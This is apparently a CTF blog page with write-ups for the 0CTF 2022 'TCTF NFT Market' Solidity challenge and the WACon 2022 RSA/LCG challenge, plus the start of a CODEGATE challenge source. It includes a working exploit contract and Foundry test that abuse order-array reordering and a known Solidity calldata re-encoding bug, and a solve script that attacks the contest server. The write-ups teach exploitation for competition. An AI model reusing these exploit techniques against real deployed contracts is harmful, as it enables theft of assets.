1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;
 
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
 
contract TctfNFT is ERC721, Ownable {
    constructor() ERC721("TctfNFT""TNFT") {
        _setApprovalForAll(address(this), msg.sender, true);
    }
 
    function mint(address to, uint256 tokenId) external onlyOwner {
        _mint(to, tokenId);
    }
}
 
contract TctfToken is ERC20 {
    bool airdropped;
 
    constructor() ERC20("TctfToken""TTK") {
        _mint(address(this), 100000000000);
        _mint(msg.sender, 1337);
    }
 
    function airdrop() external {
        require(!airdropped, "Already airdropped");
        airdropped = true;
        _mint(msg.sender, 5);
    }
}
 
struct Order {
    address nftAddress;
    uint256 tokenId;
    uint256 price;
}
struct Coupon {
    uint256 orderId;
    uint256 newprice;
    address issuer;
    address user;
    bytes reason;
}
struct Signature {
    uint8 v;
    bytes32[2] rs;
}
struct SignedCoupon {
    Coupon coupon;
    Signature signature;
}
 
contract TctfMarket {
    event SendFlag();
    event NFTListed(
        address indexed seller,
        address indexed nftAddress,
        uint256 indexed tokenId,
        uint256 price
    );
 
    event NFTCanceled(
        address indexed seller,
        address indexed nftAddress,
        uint256 indexed tokenId
    );
 
    event NFTBought(
        address indexed buyer,
        address indexed nftAddress,
        uint256 indexed tokenId,
        uint256 price
    );
 
    bool tested;
    TctfNFT public tctfNFT;
    TctfToken public tctfToken;
    CouponVerifierBeta public verifier;
    Order[] orders;
 
    constructor() {
        tctfToken = new TctfToken();
        tctfToken.approve(address(this), type(uint256).max);
 
        tctfNFT = new TctfNFT();
        tctfNFT.mint(address(tctfNFT), 1);
        tctfNFT.mint(address(this), 2);
        tctfNFT.mint(address(this), 3);
 
        verifier = new CouponVerifierBeta();
 
        orders.push(Order(address(tctfNFT), 11));
        orders.push(Order(address(tctfNFT), 21337));
        orders.push(Order(address(tctfNFT), 313333333337));
    }
 
    function getOrder(uint256 orderId) public view returns (Order memory order) {
        require(orderId < orders.length"Invalid orderId");
        order = orders[orderId];
    }
 
    function createOrder(address nftAddress, uint256 tokenId, uint256 price) external returns(uint256) {
        require(price > 0"Invalid price");
        require(isNFTApprovedOrOwner(nftAddress, msg.sender, tokenId), "Not owner");
        orders.push(Order(nftAddress, tokenId, price));
        emit NFTListed(msg.sender, nftAddress, tokenId, price);
        return orders.length - 1;
    }
 
    function cancelOrder(uint256 orderId) external {
        Order memory order = getOrder(orderId);
        require(isNFTApprovedOrOwner(order.nftAddress, msg.sender, order.tokenId), "Not owner");
        _deleteOrder(orderId);
        emit NFTCanceled(msg.sender, order.nftAddress, order.tokenId);
    }
 
    function purchaseOrder(uint256 orderId) external {
        Order memory order = getOrder(orderId);
        _deleteOrder(orderId);
        IERC721 nft = IERC721(order.nftAddress);
        address owner = nft.ownerOf(order.tokenId);
        tctfToken.transferFrom(msg.sender, owner, order.price);
        nft.safeTransferFrom(owner, msg.sender, order.tokenId);
        emit NFTBought(msg.sender, order.nftAddress, order.tokenId, order.price);
    }
 
    function purchaseWithCoupon(SignedCoupon calldata scoupon) external {
        Coupon memory coupon = scoupon.coupon;
        require(coupon.user == msg.sender, "Invalid user");
        require(coupon.newprice > 0"Invalid price");
        verifier.verifyCoupon(scoupon);
        Order memory order = getOrder(coupon.orderId);
        _deleteOrder(coupon.orderId);
        IERC721 nft = IERC721(order.nftAddress);
        address owner = nft.ownerOf(order.tokenId);
        tctfToken.transferFrom(coupon.user, owner, coupon.newprice);
        nft.safeTransferFrom(owner, coupon.user, order.tokenId);
        emit NFTBought(coupon.user, order.nftAddress, order.tokenId, coupon.newprice);
    }
 
    function purchaseTest(address nftAddress, uint256 tokenId, uint256 price) external {
        require(!tested, "Tested");
        tested = true;
        IERC721 nft = IERC721(nftAddress);
        uint256 orderId = TctfMarket(this).createOrder(nftAddress, tokenId, price);
        nft.approve(address(this), tokenId);
        TctfMarket(this).purchaseOrder(orderId);
    }
 
    function win() external {
        require(tctfNFT.ownerOf(1== msg.sender && tctfNFT.ownerOf(2== msg.sender && tctfNFT.ownerOf(3== msg.sender);
        emit SendFlag();
    }
 
    function isNFTApprovedOrOwner(address nftAddress, address spender, uint256 tokenId) internal view returns (bool) {
        IERC721 nft = IERC721(nftAddress);
        address owner = nft.ownerOf(tokenId);
        return (spender == owner || nft.isApprovedForAll(owner, spender) || nft.getApproved(tokenId) == spender);
    }
 
    function _deleteOrder(uint256 orderId) internal {
        orders[orderId] = orders[orders.length - 1];
        orders.pop();
    }
 
    function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}
 
contract CouponVerifierBeta {
    TctfMarket market;
    bool tested;
 
    constructor() {
        market = TctfMarket(msg.sender);
    }
 
    function verifyCoupon(SignedCoupon calldata scoupon) public {
        require(!tested, "Tested");
        tested = true;
        Coupon memory coupon = scoupon.coupon;
        Signature memory sig = scoupon.signature;
        Order memory order = market.getOrder(coupon.orderId);
        bytes memory serialized = abi.encode(
            "I, the issuer", coupon.issuer,
            "offer a special discount for", coupon.user,
            "to buy", order, "at", coupon.newprice,
            "because", coupon.reason
        );
        IERC721 nft = IERC721(order.nftAddress);
        address owner = nft.ownerOf(order.tokenId);
        require(coupon.issuer == owner, "Invalid issuer");
        require(ecrecover(keccak256(serialized), sig.v, sig.rs[0], sig.rs[1]) == coupon.issuer, "Invalid signature");
    }
}
 
 
 
cs

 

Problem Summary

The goal here is to emit the event SendFlag(). To do so, we need to gain control of all three NFTs. 

 

In the contract file, there is an ERC721 called "TctfNFT" and ERC20 called "TctfToken". We also see that during the initialization the marketplace contract gets 1337 TctfTokens. In the market's constructor, three NFTs are minted, the first to the NFT contract and the other to the market contract. These three NFTs are put on sale on a price of 1, 1337, and some insanely large price. We'll have to get all these NFTs.

 

Looking at the contract's methods, we see that

  • We may get an airdrop of 5 tokens but only once.
  • We can create a sell order of NFT under the condition that we have control (approval or owner) over it.
  • We can cancel a sell order of NFT under the condition that we have control over it.
  • We can purchase an order of NFT with enough tokens. 
  • We can purchase an order of NFT with a coupon, but only once. The issuer of the coupon should be the NFT owner, and we have to supply the signature of the issuer for the coupon. For this problem, we pretty much have to know the private key of the issuer. 
  • We can use purchaseTest() function only once. Here, the market creates one order and purchases it on its own.

Approach

The constraint gives us some hints on how to approach the problem. 

 

The first NFT is very cheap, so we can purchase without any trickery. The two functions purchaseTest() and purchaseWithCoupon() are very suspicious, and we can use these only once each. Therefore, each suspicious functions will have us stealing one NFT. Since purchaseWithCoupon() function gives us power to change a price of an order, we should use it to buy the third NFT. The second NFT costs 1337 tokens, and it just happens that the market contract holds 1337 tokens. Therefore, we should use purchaseTest function to steal those tokens. 

 

Part 1: The purchaseTest()

There are multiple ways to solve this part of the problem. I'll show my solution and sqrtrev's solution. 

 

The dangerous thing about many of the market's methods is that it takes the order ID as input. If we simply used a mapping for these orders, it would probably not be a problem. However, we use a variable length array to handle our orders. To keep our array length the same as the number of valid orders, we use a nice algorithm which can be seen in _deleteOrder(). When an element of the array is deleted, the element at the back is put at the location of the deleted element. This is also a strategy used in OpenZeppelin's EnumerableSet contracts to keep index of the elements. Now we see the problem - the value at a specific index may change due to element addition and deletion. 

 

Now let's take a look at the purchaseTest() function again. It creates order, then purchases the order. 

If we look at the createOrder() function again, we see that the only external calls are done to simply check the approval or ownership, but those are done with staticcalls. Therefore, we can't use that to attack. We also see that we can't perform the attack in purchaseOrder(). Thankfully for us, there is an approve call to the NFT address. This can definitely be used to our advantage. 

 

Basically, we create a dumb NFT and send it to the TctfMarket. We call purchaseTest() with the NFT. 

Inside the approve() call, we will create another order, which sells a dumb NFT that we own at 1337 tokens. Then, we will remove the order that we just created. This will make the order at the order ID equal to the "sell dumb NFT at 1337 token" order. Now the market will happily purchase this new order, sending us 1337 tokens. This gives us enough funds to buy the second NFT anytime we want. 

 

sqrtrev's solution is much simple, it simply sends the NFT that is being sold at purchaseTest() to our EOA at the approve() call. Inside the purchaseOrder() function, we see that the funds are sent to the owner of the token, so it'll be sent to us. Looking back, I overcomplicated this part of the problem. Part of it is because I took a look at EnumerableSet recently, I guess. It's all very cool ideas, so it's good. 

 

Part 2: The purchaseWithCoupon()

The first thing we have to notice is that verifyCoupon() is practically a view function. The getOrder() function inside is  view, so it'll be done with staticcall. The ownerOf() function is also view, so staticcall will be used. Therefore, we can't use the same idea to re-enter with a different order at coupon's order ID. Therefore, we can't do anything malicious until the token transfers come in.

 

We initially thought that the ideas from Part 1 still work, so I wrote all scripts and then realized that it doesn't work. 

I believed that a compiler bug must be the way to go, and began searching on solidity's list of known bugs.

 

Then I came across https://blog.soliditylang.org/2022/08/08/calldata-tuple-reencoding-head-overflow-bug/

 

Head Overflow Bug in Calldata Tuple ABI-Reencoding

On July 5, 2022, Chance Hudson (@vimwitch) from the Ethereum Foundation discovered a bug in the Solidity code generator. The earliest affected version of the compiler is 0.5.8, which introduced ABI-reencoding of calldata arrays and structs. Solidity versio

blog.soliditylang.org

 

Literally everything matched the challenge - 

  • This solidity bug was patched in 0.8.16. The challenge uses 0.8.15.
  • It's stated that the last component must be static-sized array. It is bytes32[2].
  • It's stated that one dynamic component is needed. There is a bytes value. 
  • The bug clears the first 32 bytes of the first dynamic tuple. That happens to be order ID.
  • In the blog, it is stated that "Plausible attacks against affected contracts can only occur in situations where the contract accepts a static calldata array as a part of its input and forwards it to another external call without modifying the content." This is exactly what happens in purchaseWithCoupon() and verifyCoupon(). The SignedCoupon struct is sent in as a calldata, and it's directly forwarded.

Some testing shows that if we send a SignedCoupon with order ID 1, it's forwarded to verifyCoupon with order ID 0. 

This means that if we have some order that we control at order 0 and the order for the third NFT at some other place, we can use the coupon. This is because the order used to verify the coupon is the order 0, which we own the NFT of. This means that we can sign our own coupon, but use it on the order for the third NFT with the solidity bug. All that's left is to combine these.

 

Part 3: Combining Everything

We'll denote the order for the NFTs that we need to get as order #1, #2, #3. We note that for the bug at Part 2, we need a order that we control at the order ID 0. With this in mind, we will set up our attack as follows. We'll use sqrtrev's approach on Part 1.

  • Get the TctfToken airdrop. Currently, the orders on the market is [#1, #2, #3].
  • Perform sqrtrev's attack. We'll get 1337 tokens, and the orders on the market is still [#1, #2, #3].
  • We'll buy NFT #2 with our 1337 tokens, and the orders on the market is [#1, #3]
  • We'll mint a dumb NFT to ourself, and create an order. The orders on the market is [#1, #3, us].
  • Now we'll buy NFT #1 with 1 token. The orders on the market is [us, #3].
  • Now the order ID 0 is an order we control - so the attack from Part 2 works. We buy NFT #3 with 1 token. 

This will give us the flag. Foundry testing is very easy to do, but hardhat scripting was a bit painful. It can be done though.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
// FakeNFT for attack
 
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;
 
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./Task.sol";
 
 
contract FakeNFT is ERC721 {
    uint256 called = 0;
    uint256 approved = 0;
    TctfMarket market;
    TctfToken token;
 
    constructor() ERC721("FakeNFT""FNFT") {
        _setApprovalForAll(address(this), msg.sender, true);
    }
 
    function getParams(address t1, address t2) public {
        market = TctfMarket(t1);
        token = TctfToken(t2);
    }
 
    function mint(address to, uint256 tokenId) external {
        _mint(to, tokenId);
    }
 
    function approve(address dest, uint256 tokenId) public override {
        if(approved == 0) {
            super.safeTransferFrom(msg.sender, USER, 1); // sqrtrev's code: he hardcoded USER here
        } else {
            super.approve(dest, tokenId);
        }
        approved += 1;
    }
 
    function safeTransferFrom(address, address, uint256) public override {
        
    }
}
 
// foundry testing
 
function setUp() public {
    vm.label(user, "user");
    vm.label(deployer, "deployer");
    vm.startPrank(deployer, deployer);
    market = new TctfMarket();
    vm.stopPrank();
 
    token = market.tctfToken();
    NFT = market.tctfNFT();
}
 
function testExploit() public {
    vm.startPrank(user);
    fakeNFT = new FakeNFT();
 
    emit log_address(address(fakeNFT));
 
    Coupon memory coupon;
    Signature memory signature;
    SignedCoupon memory scoupon;
    Order memory order;
 
    token.airdrop(); // get 5 tokens
 
    fakeNFT.mint(address(market), 1);
    market.purchaseTest(address(fakeNFT), 11337);
 
    token.approve(address(market), 1337 + 5);
 
    fakeNFT.mint(user, 2);
    fakeNFT.approve(address(fakeNFT), 2);
 
    market.createOrder(address(fakeNFT), 21);
    market.purchaseOrder(0); 
    market.purchaseOrder(1);
 
    coupon.orderId = 1;
    coupon.newprice = 1;
    coupon.issuer = user;
    coupon.user = user;
    coupon.reason = "rkm0959";
 
    order = market.getOrder(0);
 
    bytes memory serialized = abi.encode(
        "I, the issuer", coupon.issuer,
        "offer a special discount for", coupon.user,
        "to buy", order, "at", coupon.newprice,
        "because", coupon.reason
    );
 
    (signature.v, signature.rs[0], signature.rs[1]) = vm.sign(pvk, keccak256(serialized)); // pvk = user's private key
 
    scoupon.coupon = coupon;
    scoupon.signature = signature;
 
    emit log_uint(uint256(signature.v));
    emit log_bytes32(signature.rs[0]);
    emit log_bytes32(signature.rs[1]);
    
    market.purchaseWithCoupon(scoupon);
 
    market.win();
}
cs

'CTF' 카테고리의 다른 글

CODEGATE 2022 Finals: Look It Up  (0) 2022.11.09
0CTF 2022 ezRSA+++  (0) 2022.09.19
WACon 2022 Quals: RSA Secret Sharing  (0) 2022.06.27
CODEGATE 2022 Preliminary : Prime-Generator  (0) 2022.02.28
CODEGATE 2022 Preliminary : Dark Arts  (0) 2022.02.28

https://github.com/rkm0959/Cryptography_Writeups/blob/main/2022/WAConQual/rsa-secret-sharing-chal.py

https://github.com/rkm0959/Cryptography_Writeups/blob/main/2022/WAConQual/rsa-secret-sharing-exploit.py

 

RSA Secret Sharing: by rkm0959 (2 solves in General, 1 solve in Junior)

ON 2-out-of-3 SECRET SHARING BASED ON RSA - MemeCrypt 2022

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from Crypto.Util.number import getPrime, isPrime, bytes_to_long
import string, signal, random, hashlib 
signal.alarm(1500)
 
def gen_pow():
    print("Solve PoW plz")
    s = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(16))
    print(s)
    answer = input()
    hash = bytes_to_long(hashlib.sha256((s + answer).encode()).digest())
    if hash != (hash >> 26<< 26:
        exit() 
 
gen_pow()
= getPrime(342)
print("q = {}".format(q))
 
class LCG:
    def __init__(self, a, x, b):
        self.a = a
        self.x = x 
        self.b = b 
    def fetch(self):
        ret = self.x
        self.x = (self.a * self.x + self.b) % q 
        return ret 
    
print("Hello! You are the owner of one Share Generator! Please insert your parameters :)")
= int(input()) % q
= int(input()) % q
= int(input()) % q
 
assert 1 <= a < q and 1 <= x < q and 1 <= b < q 
 
LCG1 = LCG(a, x, b)
LCG2 = LCG(random.randint(1, q-1), random.randint(1, q-1), random.randint(1, q-1))
LCG3 = LCG(random.randint(1, q-1), random.randint(1, q-1), random.randint(1, q-1))
 
# in Junior Division, LCG2.a was given additionally
 
def roll():
    return LCG3.fetch() * q * q + LCG2.fetch() * q + LCG1.fetch()
 
def checkFactor(n):
    u = int(input())
    v = int(input())
    assert 1 < u < n and 1 < v < n and u * v == n
 
pr = []
 
while len(pr) < 8:
    p = roll()
    if isPrime(p):
        pr.append(p)
 
n1 = pr[0* pr[1]
n2 = pr[2* pr[3]
n3 = pr[4* pr[5]
n4 = pr[6* pr[7]
 
print(n1)
print(n2)
print(n3)
print(n4)
 
checkFactor(n1)
checkFactor(n2)
checkFactor(n3)
checkFactor(n4)
 
flag = open("flag""r").read()
print(flag)
cs

 

Solution

Denote $a_i, x_i, b_i$ to be the initial LCG parameters of $LCG_i$. Denote $LCG_{i, j}$ to be the $j$th value that $i$th LCG generated. 

Note that we control $a_1, x_1, b_1$. We see that with $a_i \not\equiv 1 \pmod{q}$, $$LCG_{i, j} \equiv a_i^j x_i + \frac{a_i^j - 1}{a_i - 1} b_i \equiv a_i^j \left(x_i + \frac{b_i}{a_i - 1} \right) - \frac{b_i}{a_i-1} \pmod{q}$$

We are generating roughly $1024$ bit primes, so with heuristics on prime gap we may assume that we will get our 8 primes generated in our first 6000 tries. Our first goal is to find out which of those 6000 tries were the ones that we actually generated a prime successfully.

 

To do so, we send random $a = a_1, x = x_1, b = b_1$ to the server. This generates random enough values for the LCG we control, and these LCG values will be the value of our primes modulo $q$. For each $n$, there will be two indices $u, v$ such that $$n \equiv LCG_{1, u} \cdot LCG_{1, v} \pmod{q}$$ and we may find these $u, v$ via simple brute force. 

 

Now we move on to finding the parameters for LCG2, the second LCG. If two indices $u, v$ generated $n$, we see $$n \equiv (LCG_{2, u} q + LCG_{1, u})(LCG_{2, v}q + LCG_{1, v}) \pmod{q^2}$$ and with the knowledge of $u, v, LCG_{1, u}, LCG_{1, v}$, we can write $$LCG_{1, v} LCG_{2, u} + LCG_{1, u} LCG_{2, v} \equiv \frac{n - LCG_{1, u}LCG_{1,v}}{q} \pmod{q}$$ Denote $$C \equiv x_2 + \frac{b_2}{a_2 - 1} \pmod{q}, \quad D \equiv - \frac{b_2}{a_2 - 1} \pmod{q}$$ and we can now write, with $LCG_{2, u} \equiv a_2^u C + D \pmod{q}$ and $LCG_{2, v} \equiv a_2^v C + D \pmod{q}$, that $$\left( LCG_{1, v}  a_2^u + LCG_{1, u} a_2^v \right) C + \left( LCG_{1, u} +LCG_{1, v} \right) D  \equiv \frac{n - LCG_{1, u}LCG_{1,v}}{q} \pmod{q}$$

 

Note that we have four $n$, so four such equations - and we note that $(C, D, -1)$ is orthogonal to $$\left( LCG_{1, v} a_2^u + LCG_{1, u} a_2^v, LCG_{1, u} + LCG_{1, v}, \frac{n - LCG_{1, u} LCG_{1, v}}{q} \right)$$ when considered as vectors in $\mathbb{F}_q^3$. Therefore, given three such vectors, they will be linearly dependent. This can be expressed algebraically by taking three such vectors, making a matrix with them, and then claiming its determinant is zero. 

 

This determinant will be a polynomial of $a_2$ over $\mathbb{F}_q$. There are now two ways to finish.

The first one is to directly factor this polynomial to find its roots. This is efficient enough to solve the challenge.

The second one is to get two such polynomials, using the fact that we are given not three, but four such equations. Then we can simply take the GCD of two polynomials to get a polynomial of much smaller degree. This can be solved to get $a_2$.

 

With $a_2$ calculated, we can solve the linear system to get $C, D$, and then we can solve for $x_2, b_2$ by $$x_2 \equiv C+D \pmod{q}, \quad b_2 \equiv -D(a_2-1) \pmod{q}$$ We can even check for validity of $a_2$ by checking if all four $n \pmod{q^2}$ can be recalculated accordingly. 

 

We now have full knowledge of the second LCG. There are now two ways to finish. 

The first one is to use Coppersmith's Attack - since we know 2/3 of each primes we can definitely factor each $n$. 

The second one is to apply this same logic to the third LCG - the details are practically the same. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
from sage.all import *
from pwn import * 
from tqdm import tqdm 
import random as rand
from Crypto.Util.number import inverse
 
conn = remote("175.123.252.200"6666)
 
conn.recvline()
= conn.recvline().rstrip().decode()
assert len(s) == 16
 
for i in tqdm(range(1 << 28)):
    t = str(i)
    hash = hashlib.sha256((s + t).encode()).hexdigest()
    if hash[-6:] == "000000" and hash[-7in "048c"
        conn.sendline(t.encode())
        break
 
= int(conn.recvline().split()[-1])
conn.recvline()
 
a_mine = rand.randint(1, q - 1)
x_mine = rand.randint(1, q - 1)
b_mine = rand.randint(1, q - 1)
 
conn.sendline(str(a_mine).encode())
conn.sendline(str(x_mine).encode())
conn.sendline(str(b_mine).encode())
 
n1 = int(conn.recvline())
n2 = int(conn.recvline())
n3 = int(conn.recvline())
n4 = int(conn.recvline())
 
n1q = n1 % q 
n2q = n2 % q
n3q = n3 % q 
n4q = n4 % q 
 
n1qq = n1 % (q * q)
n2qq = n2 % (q * q)
n3qq = n3 % (q * q)
n4qq = n4 % (q * q)
 
targets = [n1, n2, n3, n4]
targetsq = [n1q, n2q, n3q, n4q]
targetsqq = [n1qq, n2qq, n3qq, n4qq]
 
dat = [x_mine]
for i in range(010000):
    dat.append((a_mine * dat[-1+ b_mine) % q)
 
dic = {}
for i in range(10000):
    dic[dat[i]] = i
 
idx = [(-1-1)] * 4
for i in range(10000):
    for j in range(4):
        target = (targetsq[j] * inverse(dat[i], q)) % q
        if target in dic.keys():
            other = dic[target]
            if other < i:
                idx[j] = (other, i)
            else:
                idx[j] = (i, other)
 
print(idx)
 
st = time.time()
POL = PolynomialRing(GF(q), 'a')
= POL.gen()
 
f1 = dat[idx[0][1]] * a ** idx[0][0+ dat[idx[0][0]] * a ** idx[0][1]
f2 = dat[idx[1][1]] * a ** idx[1][0+ dat[idx[1][0]] * a ** idx[1][1]
f3 = dat[idx[2][1]] * a ** idx[2][0+ dat[idx[2][0]] * a ** idx[2][1]
 
c1 = dat[idx[0][1]] + dat[idx[0][0]]
c2 = dat[idx[1][1]] + dat[idx[1][0]]
c3 = dat[idx[2][1]] + dat[idx[2][0]]
 
v1 = ((n1 % (q * q) - dat[idx[0][1]] * dat[idx[0][0]]) // q) % q
v2 = ((n2 % (q * q) - dat[idx[1][1]] * dat[idx[1][0]]) // q) % q
v3 = ((n3 % (q * q) - dat[idx[2][1]] * dat[idx[2][0]]) // q) % q
 
det = f1 * c2 * v3 + f2 * c3 * v1 + f3 * c1 * v2 - f1 * c3 * v2 - f2 * c1 * v3 - f3 * c2 * v1 
det = det // (a ** idx[0][0])
 
while det(1== GF(q)(0):
    det = det // (a - 1)
print("degree : ", det.degree())
a_cand = det.roots()
print(a_cand)
en = time.time()
 
print("took {} seconds".format(en - st))
 
for root, mult in a_cand:
    a_final = root 
    F1 = int(f1(a_final))
    F2 = int(f2(a_final))
    F3 = int(f3(a_final))
 
    C = ((v1 * c2 - v2 * c1) * inverse(F1 * c2 - F2 * c1, q)) % q
    D = ((v1 - F1 * C) * inverse(c1, q)) % q 
    assert (F1 * C + c1 * D - v1) % q == 0
    assert (F2 * C + c2 * D - v2) % q == 0
 
    x_final = (C + D) % q 
    b_final = (-* (int(a_final) - 1)) % q 
 
    dat_final = [x_final]
    for i in range(10000):
        dat_final.append((int(a_final) * dat_final[-1+ b_final) % q)
    
    ok = True 
    for i in range(4):
        pr1q2 = dat_final[idx[i][0]] * q + dat[idx[i][0]]
        pr2q2 = dat_final[idx[i][1]] * q + dat[idx[i][1]]
        if (pr1q2 * pr2q2) % (q * q) != targetsqq[i]:
            ok = False 
    
    if ok:
        for i in range(4):
            pr1q2 = dat_final[idx[i][0]] * q + dat[idx[i][0]]
            pr2q2 = dat_final[idx[i][1]] * q + dat[idx[i][1]]
            
            POL = PolynomialRing(Zmod(targets[i]), 'x')
            x = POL.gen()
            f = x * q * q + pr1q2
            f = f.monic()
            share3 = f.small_roots(X = q, beta = 0.49, epsilon = 0.05)[0]
            
            p = int(share3) * q * q + pr1q2
            conn.sendline(str(p).encode())
            conn.sendline(str(targets[i] // p).encode())
        
        print(conn.recvline())
cs

 

Comments

To solve the PoW efficiently, instead of doing the entire bytes_to_long you should just check the last 4 bytes of SHA256.

 

Sending random $a_1, x_1, b_1$ rather than $1, 1, 1$ is a bit better because with $1, 1, 1$, you can't really distinguish $3 \cdot 10 = 5 \cdot 6$ and stuff like that. With random values, it's should be possible to show that such collisions occur with a very low probability, with for example Schwartz-Zippel lemma. Proving this in mathematically precise fashion is left as an exercise for the reader. 

 

Before computing GCD or factorizing polynomials, it's helpful to reduce the degrees by dividing out some obvious parts.

 

By giving $a_2$ to the participants of Junior Division, we allow them to go straight into Coppersmith's Attack without setting up for the determinant or doing polynomial stuff. However, the only solver from Junior Division solved this challenge without Coppersmith's Attack. 

 

We note that to solve the problem, we do not need the first and third RNGs to be an LCG. Also, there's no need to let the participants select their values of $a_1, x_1, b_1$. However, letting the participants choose their $a_1, x_1, b_1$ opens up the possibility for other ideas that end up not working. The intended trap was to select $a_1, x_1, b_1$ so that the first LCG always output the same value. This does not help to solve the challenge to the best of author's knowledge. Letting the third RNG to not be an LCG forces the participant to know Coppersmith's Attack - but I did not really want to test this, since finding the $a_2$ part is already hard enough for WACon 2022 Quals. However, for Junior Division, I decided to award the knowledge of Coppersmith's Attack by giving them $a_2$. I think this was reasonable. 

 

It's also possible to solve LCG3 easier than the two methods described in the solution - this is due to the solvers in the Junior Division.

Since we have $$n = (LCG_{3, u} q^2 + LCG_{2, u} q + LCG_{1, u})(LCG_{3, v} q^2 + LCG_{2, v} q+ LCG_{1, v})$$ we can rewrite this as $$n' = \frac{n-(LCG_{2,u}q+LCG_{1,u})(LCG_{2,v}q+LCG_{1,v})}{q^2}$$ $$= LCG_{3,u}LCG_{3,v} q^2 +(LCG_{3,u}LCG_{2,v}+LCG_{3,v}LCG_{2,u})q + (LCG_{3,u}LCG_{1,v} + LCG_{3,v}LCG_{1,u}) $$ and now since this value can be calculated as we know $LCG_{1,u},LCG_{1,v},LCG_{2,u},LCG_{2,v},q$. 

 

Let $$\alpha = \left\lfloor \frac{LCG_{3,u}LCG_{1,v} + LCG_{3,v}LCG_{1,u}}{q} \right\rfloor$$ This is usually on the order of $q$, but by selecting $a_1 = x_1 = b_1 = 1$ we can force this value to be small, usually less than $10^4$.

 

We now have $$LCG_{3,u}LCG_{1,v} + LCG_{3,v} LCG_{1,u} \equiv n' \pmod{q}$$ and $$LCG_{3,u}LCG_{2,v} + LCG_{3,v}LCG_{2,u} \equiv \lfloor n' / q \rfloor - \alpha \pmod{q}$$ Therefore, if we know $\alpha$, we can solve this using a linear system easily. Since $\alpha$ is in a brute forcable range, we are done. 

 

This is a beautiful solution that I have overlooked, congratulations to the team! It's very cool that this solution uses the exact setup $a_1 = x_1 = b_1 = 1$ that I advised not to do in my second comment above. Of course, this means that they had to deal with a multiple possibilities for the index, i.e. the reason I advised not to use $a_1=x_1=b_1=1$. To see how they did it, consult their writeup in Korean. 

 

I gave participants four $n$ instead of three $n$ to make the knowledge of fast polynomial factorization or SageMath not required.

 

The description "2-out-of-3 secret sharing" comes from Coppersmith's Attack - note that if two share generators collaborate, they can find 2/3 of the primes and therefore can factorize $n$ using Coppersmith's Attack. I thought about making a challenge to check their understanding of why this challenge is about 2-out-of-3 secret sharing, but decided not to do it. Of course, only having one share generator does not allow you to factorize $n$, so this scheme fits the definition of "2-out-of-3 secret sharing". 

 

The flag was 

WACon{we_should_probably_use_a_better_RNG_than_LCG!!!_(and_hopefully_remove_the_trusted_third_party_:wink:)}

which notes that a trusted third party or TEE is required to check the primality of generated values and compute $n$. 

 

One of the solvers from General Division practically never studied cryptography in their life, but they are quite strong players in the Korean competitive programming scene. They actually solved all three cryptography challenges, which is a fascinating feat.

Of course, note that we didn't set challenges that require huge amount of prior knowledge in cryptography. 

'CTF' 카테고리의 다른 글

0CTF 2022 ezRSA+++  (0) 2022.09.19
0CTF 2022 TCTF NFT Market  (0) 2022.09.19
CODEGATE 2022 Preliminary : Prime-Generator  (0) 2022.02.28
CODEGATE 2022 Preliminary : Dark Arts  (0) 2022.02.28
SECCON CTF 2021 Writeups  (0) 2021.12.14

10 Solves in General Division. Author : Barkingdog

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python3
from Crypto.Util.number import *
import os
 
BITS = 512
UPPER_BITS = 296
LOWER_BITS = BITS - UPPER_BITS
 
UPPER = bytes_to_long(os.urandom(UPPER_BITS // 8)) << LOWER_BITS
FLAG = b'codegate2022{this_is_a_sample_flag}'
 
def menu1():
    while True:
        lower = bytes_to_long(os.urandom(LOWER_BITS // 8))
        p = UPPER | lower
        if isPrime(p): return lower
 
def menu2():
    p = UPPER + menu1()
    q = getPrime(512)
    e = 0x10001
    n = p * q
    return n, pow(bytes_to_long(FLAG + b'\x00' + os.urandom(128 - 2 - len(FLAG))), e, n)
 
while True:
    print("1. Generate 10 random primes (only lower bits)")
    print("2. Encrypt a flag")
    idx = int(input("> "))
